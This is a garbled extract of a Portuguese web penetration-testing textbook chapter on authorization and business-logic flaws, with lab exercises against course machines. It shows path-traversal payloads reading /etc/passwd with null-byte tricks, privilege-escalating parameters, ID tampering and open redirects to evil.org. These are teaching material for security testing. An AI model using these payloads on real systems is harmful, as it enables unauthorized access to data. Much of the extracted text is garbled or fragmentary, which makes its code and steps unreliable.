Figura 8.2 O teste para examinar se uma aplicao apresenta essa vulnerabilidade contm os passos
Adio de descritos abaixo:
cabealho Referer.
1.2.Se a aplicao exibir uma mensagem indicando que a origem da requisio no vlida:
1.2.1. Faa nova submisso, mas incluindo o cabealho Referer definido para a URL
1.2.2. Se a pgina for carregada, a aplicao emprega o cabealho Referer para con-
trolar o acesso e , portanto, vulnervel.
Considere-se, por exemplo, uma aplicao que permite que um usurio autenticado leia as
mensagens enviadas a ele, conforme ilustrado na Figura 8.3.
373
(a) (b) Figura 8.3
Inspecionando os links para as mensagens do usurio esruser, obtm-se as seguintes URLs: Exemplo de apli-
cao vulnervel
a acesso direto a
http://bssac.esr.rnp.br/view.php?mid=1 objetos: (a) Mensa-
gens de esruser.
http://bssac.esr.rnp.br/view.php?mid=2 (b) Mensagens
de admin.
Repetindo o processo para o usurio admin, chega-se ao seguinte resultado:
http://bssac.esr.rnp.br/view.php?mid=4
http://bssac.esr.rnp.br/view.php?mid=5
http://bssac.esr.rnp.br/view.php?mid=6
http://bssac.esr.rnp.br/view.php?mid=7
Observe que cada mensagem acessada invocando-se o script view.php, com um valor
diferente para o parmetro mid. O fato de os conjuntos serem disjuntos um bom
indicativo de que um mapa indireto, especfico para cada usurio, no empregado, para
mascarar o valor da chave de cada registro. Desse modo, para ler as mensagens de outros
usurios, o atacante apenas precisa alterar o valor do ndice de acess, enquanto estiver
autenticado. Esse defeito, por mais simples que seja, afetou a grande maioria das primeiras
verses de sistemas de correio eletrnico via web.
O roteiro abaixo pode ser empregad, para detectar a presena desta vulnerabilidade em
uma aplicao:
1. Se diversas contas de usurio, com diferentes perfis, estiverem disponveis para o teste:
1.1.Autentique-se na aplicao com cada uma das contas e percorra as diversas pginas
que a compem.
1.2.Anote todos os itens de entrada que paream ser chaves primrias de registros ou
identificadores de objetos e os respectivos valores.
Teste de Invaso de Aplicaes Web
1.3.Com cada conta, tente acessar os objetos de outra, alterando o valor do parmetro,
de acordo com o encontrado no passo anterior.
2.2.Anote todos os itens de entrada que paream ser chaves primrias de registros ou
identificadores de objetos e os respectivos valores.
374
2.3.Verifique se h algum padro que pode ser identificado nos valores de cada par-
metro encontrado no passo anterior.
2.4.Gere novos valores, de acordo com o Passo 2.3, e os utilize nos parmetros asso-
ciados, para realizar requisies aplicao.
Esse cenrio ocorre frequentemente em stios web de eventos, que disponibilizam aos parti-
cipantes todos os materiais das diversas apresentaes realizadas. Para exibir a pgina que
lista esses contedos, o usurio precisa estar autenticado, porm, para obter os arquivos,
no. A premissa adotada incorretamente, nesse caso, resume-se em assumir que somente
usurios legtimos so capazes de obter os nomes dos recursos fornecidos.
Figura 8.4
Aplicao que per-
mite acesso direto a
recursos estticos.
375
Exerccio de fixao 1 e
Aplicaes vulnerveis
Cite exemplos de recursos que podem ser acessados diretamente em uma aplicao vulnervel.
Alguns exemplos de defeitos desse tipo, que so abordados neste texto, incluem meca-
nismos de autorizao, manuteno de perfil e proteo de referncias a objetos.
Observe-se que a URL definida especifica um recurso invlido do servidor e ela ajustada
por meio da funo changeURL(), que invocada quando o link clicado. O cdigo
Javascript que realiza o controle de acesso pode ser visto na Figura 8.5:
<script>
acm[0] = 1;
function changeURL(id){
if (acm[id-1] != 1) {
Teste de Invaso de Aplicaes Web
return false;
document.getElementById(id).href=acao+id+.php;
376
A varivel acm constitui a matriz de controle de acesso e definida pelo servidor, de
acordo com o perfil do usurio autenticado. O acesso do usurio s permitido se a posio
do vetor associada ao link contiver o valor um. Note-se que a URL, construda dinamica-
mente, relativa e tem o formato acao<id>.php, sendo que <id> corresponde ao valor
passado no manipulador de evento onclick de cada link. A mesma anlise feita aqui
poderia ter sido realizada por um usurio malicioso, para descoberta das URLs dos diversos
recursos da aplicao. Em seguida, bastaria efetuar as requisies diretamente pelo nave-
gador web, contornando, assim, o controle de acesso provido pelo Javascript embutido.
O propsito disso evitar que usurios maliciosos tenham a chance de manipular esses
dados e, com isso, comprometer os mecanismos de controle de acesso, realizando
ataques como escalada de privilgios e contorno de autenticao, por exemplo.
Infelizmente, muitos so os sistemas reais que no respeitam essa regra e fazem o con-
trrio, na maioria das vezes, devido adoo indevida de um mecanismo de gerencia-
mento de sesses de origem caseira.
Observe-se, como exemplo, a aplicao ilustrada na Figura 8.6 e note-se que a URL do link
para a caixa de mensagens inclui um parmetro uid com valor esruser (vide barra de
estado). Isso um grande indicativo de que o sistema mantm o estado da sesso, ou parte
dele, no lado cliente da soluo. Quando algo assim encontrado, um atacante pode alterar
o valor do parmetro e enviar a requisio, para ver se consegue um acesso mais privile-
giado. Nesse cenrio, alguns identificadores que podem ser testados incluem admin e
Figura 8.6
Aplicao que
mantm perfil no
lado cliente.
377
Em alguns casos, um parmetro booleano, utilizado para indicar um perfil administrativo,
adicionado s requisies, sempre que o usurio autenticado for privilegiado. Essa prtica
segue a estratgia de segurana por obscuridade, a qual gera uma falsa sensao de pro-
teo. Mesmo que usurios comuns no saibam da existncia do parmetro, h diversos
caminhos que levam sua descoberta. Ademais, dada a frequncia com que empregado,
natural tentar submeter variaes como adm=Y, adm=S, admin=Y, admin=S, root=Y
e root=S, como parte da requisio. Muitas vezes, esse tipo de verificao coroado com
uma escalada vertical, para uma conta com o mximo de privilgios.
Os cenrios vistos nesta seo apenas reforam a ineficcia de se adotar qualquer controle
de seguran, no lado cliente da aplicao. Assim, sempre que situaes similares forem
detectadas em um teste de invaso, elas devem ser devidamente reportadas.
A premissa adotada, de modo geral, era de que a causa raiz do problema se encon-
trava na exposio direta de uma chave ou nome de um elemento interno da aplicao.
Embora isto estivesse correto, a soluo de somente ofuscar o identificador e seguir
enviando o resultado para o usurio estava errada, pois o atacante ainda conseguia
inferir as referncias para recursos alheios.
Nos prximos pargrafos, algumas dessas solues ineficazes sero discutidas, com base
no sistema ilustrado na Figura 8.7, que exibe o arquivo, cujo nome especificado em um
parmetro da requisio. Considere-se que a verificao de privilgios ocorre somente na
montagem da tela, na qual so includos links apenas para os recursos que o usurio tem o
direito de acessar. Na verso original da aplicao, quando o atacante descobria os nomes
de outros arquivos, ele podia visualiz-los simplesmente ajustando o valor do parmetro
correspondente. Para impedir esse ataque, os desenvolvedores ofuscaram os nomes dos
arquivos empregando uma srie de tcnicas diferentes, de modo que o usurio malicioso
no pudesse mais construir a requisio.
Teste de Invaso de Aplicaes Web
Nesse exemplo, o link para a RFC 2616 representa o estado original da aplicao, que Figura 8.7
expunha completamente o nome do arquivo na URL: Aplicao que pro-
tege referncias a
objetos de maneira
http://refp.esr.rnp.br/view.php?f=fielding.1999.txt&t=0 insegura.
378
A primeira tentativa de melhoria est ilustrada no link para a RFC 2617, que no faz nada
mais que escrever o nome do arquivo ao contrrio:
http://refp.esr.rnp.br/view.php?f=txt.9991.sknarf&t=1
fcil perceber que o nvel de dificuldade de explorao, nesse caso, continua basicamente
o mesmo que o anterior.
Uma tcnica diferente, utilizada no link para a RFC 2821, resulta em URLs como a seguinte:
http://refp.esr.rnp.br/view.php?f=a2xlbnNpbi4yMDAxLnR4dA==&t=2
Embora isso parea crptico para usurios leigos, profissionais de computao conseguem
identificar facilmente que se trata de codificao em BASE64, a qual coberta no Captulo 9
deste livro. Nesse cenrio, o passo natural de um atacante consiste em decodificar o valor do
parmetro f, a2xlbnNpbi4yMDAxLnR4dA==, e analisar se o resultado, klensin.2001.txt,
faz sentido no escopo da aplicao. Caso isso no ocorresse e a sada fosse uma sequncia
binria de carter aleatrio, poderia ser um indicativo de texto cifrado, o que evitaria a cons-
truo de identificadores para arquivos arbitrrios. Essa situao, contudo, no impediria o
acesso ilegtimo, se fossem conhecidos outros valores para f, uma vez que um monitor de
referncias no implementado.
Finalmente, o ltimo exemplo trata do link para a RFC 959, o qual especifica a URL:
http://refp.esr.rnp.br/view.php?f=706f7374656c2e313938352e747874&t=3
Percurso de caminho
Aplicaes que exibem ou escrevem arquivos especificados por usurios podem estar
sujeitas a ataques de percurso de caminho, caso os devidos cuidados no sejam tomados.
A causa raiz do problema consiste em permitir que, alm do nome do arquivo, seja q
tambm informado o local em que ele se encontra, em vez de assumir que esto em um
determinado diretrio.
Em alguns casos, essa premissa adotada por meio de um cdigo como o abaixo, que con-
catena o valor fornecido pelo usurio com o caminho da pasta que deve ser utilizada:
$arquivo = /var/arquivos/.$nome;
379
Um usurio malicioso, porm, pode fornecer um valor como:
../../etc/passwd
O que resulta no caminho /var/arquivos/../../etc/passwd, cujo valor cannico /etc/ Valor cannico
passwd, uma vez que a sequncia .. se refere ao diretrio pai. Corresponde ao
q
formato padronizado
Observe-se que, com esse ataque, possvel acessar qualquer arquivo do ambiente, de uma informao que
pode ser representada
para o qual a conta de sistema operacional da aplicao possua privilgio de leitura.
de mais de uma maneira
Muitas vezes, no possvel saber em que ponto da rvore de diretrios encontra-se diferente.
a pasta base da aplicao e, assim, fica difcil estabelecer quantas ocorrncias de ..
devem ser empregadas. Nesses casos, uma tcnica que pode ser usada para evitar que a
descoberta seja por tentativa e erro, resultando na submisso de mltiplas requisies,
resume-se em enviar uma grande sequncia de ../ seguida do nome de arquivo dese-
jado (Stuttard e Pinto, 2007), como ilustrado a seguir:
../../../../../../../../../../../../etc/passwd
A razo deste mtodo funcionar reside no fato de que alguns sistemas operacionais Figura 8.8
substituem a repetio de ../ pela raiz do sistema de arquivos, quando o percurso passa Percurso de
caminho em Linux
desse ponto. Isso pode ser observado na Figura 8.8 e Figura 8.9, para os sistemas Linux e que passaria da raiz.
Windows, respectivamente.
C:\> cd
C:\
C:\>dir \temp /w
Pasta de C:\temp
380
C:\>dir ..\..\..\..\..\..\..\..\temp /w
Pasta de C:\temp
Outra tcnica que pode ser til, para verificar a possvel existncia da vulnerabilidade em
uma aplicao baseada em Windows, consiste em enviar alguns passos de caminho
invlidos, mas cancelados imediatamente por ocorrncias de ../. Se o arquivo especifi-
cado ao fim desse valor for exibido normalmente, h uma boa chance de que o caminho
tenha sido passado sem tratamento para o sistema de arquivos, indicando a presena do
defeito. Um exemplo desse comportamento pode ser visto na Figura 8.10.
C:\>dir /w
Pasta de C:\Temp
C:\>dir este\caminho\nao\existe\..\..\..\.. /w
Pasta de C:\Temp
Figura 8.10
Percurso por
subdiretrios [.] [..] Hash.bat Hash.class [Security]
inexistentes.
381
2 arquivo(s) 3.020 bytes
Considere-se agora uma aplicao ligeiramente diferente daquela do cenrio original, a qual
adiciona uma extenso de arquivo, como no exemplo a seguir:
$arquivo = /var/arquivos/.$nome..txt;
$f=$_GET[f];
$file = files/.$f..txt;
while (!feof($out)) {
echo(fgets($out).<br>);
}
Figura 8.11
pclose($out); Cdigo PHP para
exibio de arquivos
../../../../../etc/passwd%00
cat files/../../../../../etc/passwd\0.txt
O que faz com que tudo aps passwd seja desconsiderado, resultando na exibio do
arquivo /etc/passwd.
Teste de Invaso de Aplicaes Web
1 ....//
1 ....\\
382
Por fim, para testar se uma aplicao vulnervel a ataques de percurso de caminho, o
seguinte roteiro pode ser empregado em um teste de invaso:
1.3.Se no:
Redirecionamento no validado
Redirecionamento uma tcnica que permite instruir o navegador web a carregar outra q
pgina, aps a originalmente requisitada, podendo ser utilizado, por exemplo, para
evitar a quebra de links, quando um recurso movido para um lugar diferente. Embora,
muitas vezes, isso ocorra dentro de um mesmo domnio, tambm possvel realizar o
processo para domnios diferentes.
O uso deRefres expressamente desaconselhado pelo W3C, uma vez que pode quebrar
383
a funcionalidade fornecida pelo boto Retornar. Isso acontece porque, ao carregar a pgina
anterior, que contm o marcador em questo, o navegador redireciona o usurio nova-
mente para a pgina especificada, impedindo, assim, o retorno.
<script language=javascript>
setTimeout(function() {location.replace(http://esr.rnp.br/end.php);
},3000);
</script>
Isso pode ser usado por atacantes, para carregar pginas maliciosas, a partir de um q
domnio confivel, de modo a conseguir mais facilmente que vtimas as visitem, do que
se fosse necessrio clicar em links suspeitos.
<?php
header(Location: .$_GET[url]);
?>
<a href=http://esr.rnp.br/redir.php?url=http%3A%2F%2Fwww.evil.
org%2F>
<?php
echo(<h2>Domínio inválido!</h2>);
exit;
384
}
header(Location: .$_GET[url]);
?>
Neste caso, o link anterior no funcionaria, pois referencia um domnio diferente do espe-
rado pela aplicao. Entretanto, a soluo ainda vulnervel, pois fica satisfeita com a pre-
sena dehttp://esr.rnp.br em qualquer ponto do argumento. Graas a isso, uma maneira
de quebrar o mecanismo de proteo envolve a submisso do valor:
http://www.evil.org?u=http://esr.rnp.br/
<?php
header(Location: http://esr.rnp.br.$_GET[target]);
?>
Note-se, no cdigo acima, que no h uma barra (/) ao final do nome de domnio. Como
seria possvel utilizar a ausncia desse caractere em um ataque? Considerando que o ata-
cante possui controle do servidor de DNS do domnio evil.org, o seguinte valor pode ser
passado para o parmetro target (Stuttard e Pinto, 2007):
.evil.org
Para finalizar esta seo, os passos que podem ser seguidos em um teste, para detectar este
tipo de vulnerabilidade em aplicaes web, so os seguintes:
1.2.Substitua o valor dos itens encontrados, um por vez, pelo nome de um recurso do
servidor que se saiba existir. Se o redirecionamento ocorrer para o elemento esco-
lhido, a aplicao sofre da vulnerabilidade.
1.3.Repita o passo anterior, mas especificando uma URL absoluta para outro domnio.
Se a pgina especificada for carregada, a aplicao tambm pode ser usada para
redirecionamentos externos.
385
Condies de corrida
Condies de corrida so conhecidas h muito tempo (Netzer e Miller, 1992) e ocorrem q
quando processos que so executados concorrentemente manipulam recursos compar-
tilhados, sem o uso de mecanismos de sincronizao.
01 x = [saldo]BD;
02 if (x >= val) {
03 x = x val;
Figura 8.12
04 [saldo]BD = x; Cdigo sujeito
a condies de
05 } corrida.
Imaginem-se que duas instncias do cdigo, P#1 e P#2, sejam executadas concorrente-
mente, que val inicie, respectivamente, com os valores 70 e 50 e que [saldo]BD contenha o
valor 100. Supondo a fatia de tempo alocada para a execuo de cada processo, um possvel
resultado seria o ilustrado na Figura 8.13. Observe-se que o valor final de [saldo]BD 50, em
vez de 30, que era o esperado da execuo sequencial de P#1 e P#2. Isso acontece porque a
execuo dos processos no atmica e, assim, quando a condio da linha 02 verificada
em cada caso, ainda existe saldo suficiente para a realizao da transferncia.
P#1 P#2
01 100 70 100
01 02 100 70 100
03 30 70 100
01 100 50 100
02 02 100 50 100
Figura 8.13
03 50 50 100 Resultado da execu-
o concorrente de
03 04 30 70 30 duas instncias do
cdigo da
04 04 50 50 50 Figura 8.12.
Teste de Invaso de Aplicaes Web
Alguns exemplos reais, no escopo de aplicaes web, podem ser encontrados no estudo
realizado por Paleari et al. (2008) sobre o assunto, no qual, tambm, propm tcnicas para
deteco dinmica do problema. Note-se, contudo, que a melhor abordagem para esse fim
ainda consiste na inspeo do cdigo fonte da aplicao.
386
Exerccio de fixao 2 e
Condies de corrida
O que so condies de corrida?
Por exemplo, para realizar o pagamento de um boleto bancrio, o saldo disponvel em conta
somado ao limite concedido pela instituio financeira ao cliente deve ser suficiente, para
cobrir a despesa.
Neste contexto, a seguinte lista de casos reais apresentada por Grossman (2007):
1 Mac World 2007 Expo cdigos prioritrios de cinco caracteres podiam ser utilizados, no
processo de registro online, para se conseguir iseno da taxa de inscrio. Devido ao volume
de participantes, para evitar trfego de rede e processamento desnecessrios, uma lista de
hashes dos cdigos vlidos era enviada ao cliente, para verificao local, antes da submisso.
Como apenas letras maisculas e nmeros eram permitidos e devido ao pequeno tamanho,
a construo de um dicionrio que traduzia cdigos para hashes era totalmente factvel, o
1 Vinte e um neste jogo de cartas, tambm conhecido por blackjack, ganha aquele cuja
soma das cartas chega mais prximo de vinte e um, sem, contudo, exceder este valor. Cada
uma das figuras (dama, valete e reis) vale dez, o s, um ou onze, conforme for mais conve-
niente, e as demais, o prprio nmero estampado. Nos cassinos, quando a carta aberta da
mesa um s, um seguro opcional deve ser oferecido aos jogadores, para o caso de a outra
carta valer dez. Em uma verso online do jogo, havia um atraso perceptvel na oferta de
segur, sempre que a carta fechada era favorvel mesa. Com essa informao adicional, os
usurios conseguiam aumentar as chances de ganho monetrio.
387
Como possvel observar pelos cenrios apresentados, erros desse tipo decorrem da q
adoo de algumas premissas equivocadas, alm de serem difceis de detectar.
goto error;
Observe-se que, se um valor maior que o saldo for solicitado, uma mensagem de erro defi-
nida e nenhuma transferncia realizada. Caso contrrio, o montante subtrado da conta
original ($balanceA) e somado conta destino ($balanceB). Aps realizar diversos testes que
reforaram a correo do caso de uso, a equipe liberou a funcionalidade para produo.
Porm, ataques nunca ocorrem seguindo-se casos documentados, mas, sim, fluxos ines-
perados de execuo. Com isto em mente, o que acontece se o cliente fornecer um valor
negativo para transferncia? Analisando o cdigo, novamente, percebe-se que isso no seria
barrado pelo if, pois qualquer nmero negativo menor que um positivo. Como resultado,
ao contrrio do esperado, o valor creditado conta de origem e debitado da outra. A causa
raiz da vulnerabilidade, neste cenrio, resume-se na validao incorreta de entrada, a qual
no pode ser negativa.
Um fato imediato que pode ser constatado que nem sempre o resultado de algumas ope-
raes caber na mesma quantidade de bits. Por exemplo, considere-se n=8, o que permite
representar inteiros de -128 a 127. Neste cenrio, as seguintes expresses ilustram casos
que resultam em valores fora da faixa permitida:
1 100 + 30.
1 -100 - 30.
388
1 -(-128).
1 100 * 2.
1 -128 / -1.
Figura 8.14 Considere-se, agora, outra aplicao bancria que concede um limite de crdito, para cada
Extravasamento de cliente, e que o emprstimo pode ser feito por meio de uma aplicao web. Para evitar que
inteiro: (a) 100 + 30.
(b) 100 * 2. um valor maior que o permitido seja solicitado, o seguinte trecho de cdigo executado:
(c) 100 * 8.
if (limiteUsado + valorEmprestimo <= limiteMaximo) {
// Concede o emprstimo
} else {
Note-se nesse cenrio que, diferentemente do exemplo da seo anterior, no adianta for-
necer um valor de emprstimo negativo, pois isso resultaria na diminuio do montante em
A soluo para o problema consiste em, antes de realizar operaes que possam resultar em
extravasamento de inteiros, converter os operandos para um tipo maior e s ento efetuar
o clculo e tomar decises.
389
Exerccio de fixao 3 e
Ferramentas automatizadas
Ferramentas automatizadas so capazes de detectar falhas na lgica de negcio? Justifique
sua resposta.
Contramedidas
As seguintes contramedidas devem ser adotadas, para evitar a ocorrncia das vulne- q
rabilidades que afetam o mecanismo de autorizao e a lgica de negcio da aplicao
(Stuttard e Pinto, 2007; Meucci et al., 2008):
1 Nunca use o cabealho HTTP Referer para controlar o acesso s pginas da aplicao,
pois ele pode facilmente ser forjado pelo usurio.
1 No use o servidor web para fornecer, diretamente, recursos estticos que sejam sen-
sveis. Em vez disso, crie um monitor de referncias, que seja invocado, sempre que
um usurio do sistema tentar acess-los.
2 Garanta que todo arquivo manipulado esteja dentro do diretrio alocado para
esse propsito.
2 Utilize funes que sejam binariamente seguras, isto , que no atribuam semn- Consiste em uma
funcionalidade provida
tica especial para alguns caracteres, como o nulo, por exemplo. por alguns sistemas
1 Sempre que possvel, utilize links diretos para os diversos recursos, em vez de uma operacionais, que
Teste de Invaso de Aplicaes Web
390
2 Se em algum caso muito especial for necessrio usar dados fornecidos por usu- q
rios, para definio da URL do recurso de destino, adicione no incio dela o pro-
tocolo e o nome de domnio esperados, com uma barra (/) no final. Alm disso,
aplique a tcnica de lista branca, para validar o parmetro a ser concatenado.
391
Teste de Invaso de Aplicaes Web
392
Roteiro de Atividades 8
Atividade 1 Acesso direto a recursos
Esta atividade tem por objetivo ilustrar as diversas tcnicas que podem ser usadas para
acesso direto a recursos. Para inici-la, carregue as mquinas virtuais do aluno e do servidor
(Fedora) e execute o roteiro na primeira delas.
2. Acesse http://bac.esr.rnp.br/
3. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
6. Digite esruser e esruser nos campos Usurio e Senha, respectivamente, e clique em Login.
11. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
14. Digite admin e admin nos campos Usurio e Senha, respectivamente, e clique em Login.
17. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
19. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
Captulo 8 - Roteiro de Atividades
21. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
23. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
393
26. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/oper2.php
http://bssac.esr.rnp.br/oper5.php
30. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
http://bssac.esr.rnp.br/oper2.php
33. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
http://bssac.esr.rnp.br/oper5.php
38. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
40. Digite admin e admin nos campos Usurio e Senha, respectivamente, e clique em Login.
44. Observe o valor do cabealho Referer, na parte inferior do lado esquerdo da janela.
45. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
47. Volte janela do Tamper Data e clique na requisio cuja URL contm oper2.php.
394
50. Digite a seguinte URL na barra de endereos e clique no boto verde:
http://bssac.esr.rnp.br/admin/oper2.php
http://bssac.esr.rnp.br/
54. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
http://bssac.esr.rnp.br/admin/oper2.php
60. Clique com o boto direito na parte esquerda da janela e, em seguida, em Add element.
69. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
74. Fornea esruser e esruser para os campos Usurio e Senha, respectivamente, e clique
em Login.
395
75. Clique em Caixa de mensagens.
78. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
82. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bssac.esr.rnp.br/view.php?mid=3
84. Clique em Retornar pgina de login. Digite guest e guest nos campos Usurio e Senha,
respectivamente, e clique em Login.
85. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bssac.esr.rnp.br/view.php?mid=1
89. Digite admin e admin nos campos Usurio e Senha, respectivamente, e clique em Login.
93. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
95. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
Teste de Invaso de Aplicaes Web
http://bssac.esr.rnp.br/files/cat.txt
96. Foi possvel acessar o arquivo, mesmo no estando autenticado? Explique por que isso
possvel.
396
Atividade 2 Controle de acesso no lado cliente da aplicao
Confiar em controles que so executados no lado cliente da aplicao uma prtica ruim de
segurana, pois podem ser facilmente violados por usurios maliciosos. O propsito desta
atividade ilustrar alguns cenrios em que essa vulnerabilidade est presente e os testes
que podem ser efetuados para identific-la. Os exerccios devem ser realizados na mquina
virtual do aluno e recomenda-se que se imagine o meio de resolv-los antes de seguir o
roteiro fornecido.
2. Acesse http://bcsac.esr.rnp.br/js/
3. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
8. Clique em Ok.
15. Digite admin e admin nos campos Usurio e Senha, respectivamente, e clique em Login.
18. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
20. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
22. Analise o cdigo Javascript e os formatos dos links. O que difere do visto no Passo 12?
397
23. Feche a janela de cdigo HTML.
25. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bcsac.esr.rnp.br/js/oper2.php
28. Digite guest e guest nos campos Usurio e Senha, respectivamente, e clique em Login.
29. Digite a seguinte URL na barra de endereos do navegador e clique na seta verde:
http://bcsac.esr.rnp.br/js/oper2.php
33. Digite esruser e esruser nos campos Usurio e Senha, respectivamente, e clique em Login.
34. Passe o mouse sobre os links e veja a URL de cada um deles. O que chama a ateno?
36. Passe o mouse sobre os links e veja a URL de cada um deles. Existe uma diferena funda-
mental entre essas URLs e as do Passo 34, do ponto de vista de um ataque. Qual ?
37. Altere a URL na barra de endereos do navegador, adicionando as entradas abaixo, uma
por vez, e clicando na seta verde a cada iterao:
&adm=Y
&adm=S
Teste de Invaso de Aplicaes Web
&adm=true
&admin=Y
&admin=S
&admin=true
&root=Y
&root=S
&root=true
398
38. Foi possvel obter acesso mais privilegiado?
39. Altere a barra de endereos para a URL abaixo e clique na seta verde:
http://bcsac.esr.rnp.br/oper1.php?uid=admin
47. Repita o Passo 37, mas, adicionalmente, clique em Admin Functions, a cada interao, para
ver se o ataque foi bem-sucedido.
2. Acesse http://refp.esr.rnp.br/
10. Observe a URL na barra de endereos e os valores dos parmetros f e t. Que esquema
de proteo utilizado?
11. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
399
13. Observe a URL na barra de endereos e os valores dos parmetros f e t.
Que esquema de proteo utilizado?
14. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
15. Suponha a existncia do arquivo ylonen.2006.txt. Como seria a URL para acess-lo,
quando o parmetro t = 0? Tente visualizar o arquivo, no Firefox.
16. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
18. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
19. Repita o passo 15 para t = 2. Empregue o utilitrio base64, se necessrio, e cuidado com
caracteres de final de linha.
20. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
2. Acesse http://path.esr.rnp.br/
4. Clique no link para a RFC 2616 e observe a barra de endereos do navegador web.
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
fielding.1999.txt%00abcdef
9. Repita o Passo 5, mas usando o valor abaixo, para ver o cdigo fonte de view.php:
..%2Fview.php
400
10. Acesse http://path.esr.rnp.br/index2.php
11. Passe o mouse sobre os links e observe atentamente as URLs na barra de estado.
O que mudou em relao ao cenrio anterior?
12. Clique no link para a RFC 2616 e observe a barra de endereos do navegador web.
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
15. Repita o Passo 13, mas adicionando um caractere nulo codificado (%00) ao final do valor.
4. Acesse http://redir.esr.rnp.br/
7. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
10. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
13. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
16. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
401
19. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
22. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
23. Clique com o boto direito sobre Redirecionamento no validado #1 e selecione Copy Link
Location.
25. Altere o valor do parmetro url para http://www.evil.org e clique na seta verde.
27. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
30. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
31. Clique com o boto direito sobre Redirecionamento no validado #2 e selecione Copy Link
Location.
33. Altere o valor do parmetro target para .evil.org e clique na seta verde.
35. Pressione Alt + [Seta para esquerda], para retornar pgina anterior.
38. Retorne ao Firefox e pressione Alt + [Seta para esquerda], para voltar pgina anterior.
Teste de Invaso de Aplicaes Web
39. Clique com o boto direito sobre Redirecionamento no validado #3 e selecione Copy Link
Location.
42. Altere o valor do parmetro url para http://www.evil.org e clique na seta verde.
402
44. Altere o valor do parmetro url para http://www.evil.org/?u=http://redir.esr.rnp.br/ e
clique na seta verde.
51. Clique em Redirecionamento por meio de meta-tag Refresh e espere ser redirecionado.
403
16. Compare as informaes exibidas nos dois navegadores e veja se so do mesmo usurio.
Em caso positivo, o ataque foi efetuado com sucesso. Se no, repita o processo at conseguir.
7. O que acontece?
12. Olhe a barra de endereos do navegador e identifique a tecnologia utilizada pela aplicao.
13. Abra uma nova janela do Firefox, e procure na internet os tipos primitivos de Java.
15. Retorne aplicao e tente efetuar um emprstimo com o maior int, anotado no passo
anterior.
404
Bibliografia 8
1 ANDERSON, James P. Computer Security technology planning study. Relatrio Tcnico ESD-
TR-73-51, Air Force Electronic Systems Division, 1972.
1 BISHOP, Matt. Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux.
Technical Report CSE-95-9, Dept. of Computer Science, University of California at Davis,
Davis, CA 95616-8562, 1995.
1 GROSSMAN, Jeremiah. Seven Business Logic Flaws That Put Your Website At Risk. WhiteHat
Security Whitepaper, 2007.
1 HOWARD, Michael, LEBLANC, David e VIEGA, John. 19 Deadly Sins of Software Security
Programming Flaws and How to Fix Them. McGraw-Hill/Osborne, 2005.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
Captulo 8 - Bibliografia
405
Teste de Invaso de Aplicaes Web
406
9
Mecanismos criptogrficos
objetivos
conceitos
proprietrios, BASE64, criptoanlise de cifras clssicas, ndice de coincidncia, chaves
embutidas, chaves com baixa entropia, modo de operao inadequado, nvel de
segurana de criptossistemas, proteo de senhas.
Introduo
A criptografia moderna est presente no nosso cotidiano de maneira profusa, em q
protocolos de comunicao, caixas eletrnicos, telefonia celular, proteo de software
e de contedo, urnas eletrnicas e TV digital, dentre inmeros outros exemplos. Em sis-
temas de informao, quando todos os demais mecanismos so quebrados e os dados,
extrados da base de dados, a proteo criptogrfica compreende a ltima barreira para
evitar que o sigilo das informaes sensveis seja violado. Considerando o estado da arte
dessa cincia, possvel, atualmente, realizar um timo trabalho nesse sentido, evitando
que os dados caiam em mos indesejadas.
O resultado obtido por uma equipe liderada por Marc Stevens (Stevens, 2009) um bom
exemplo de como as coisas podem dar muito errado, quando as melhores prticas no so
seguidas. Neste trabalho, que recebeu o prmio de melhor artigo da conferncia Crypto
2009, os autores descreveram um mtodo para criar um certificado digital vlido, porm
407
falsificado, de uma autoridade certificadora intermediria. O ataque baseou-se nas vulnerabi-
lidades encontradas na funo MD5 (Wang e Yu, 2005) e no fato de que, na ocasio, algumas
autoridades certificadoras ainda assinavam os certificados com o algoritmo RSA + MD5, alm
de possurem processos descuidados de comprovao de identidade do solicitante. Adicional-
mente, foi necessria muita engenhosidade para que as pr-condies fossem satisfeitas, e
uma boa dose de poder computacional, fornecida por uma grade de 200 Sony PlayStation 3.
A gravidade do exemplo acima que o ataque tornou possvel forjar certificados digitais,
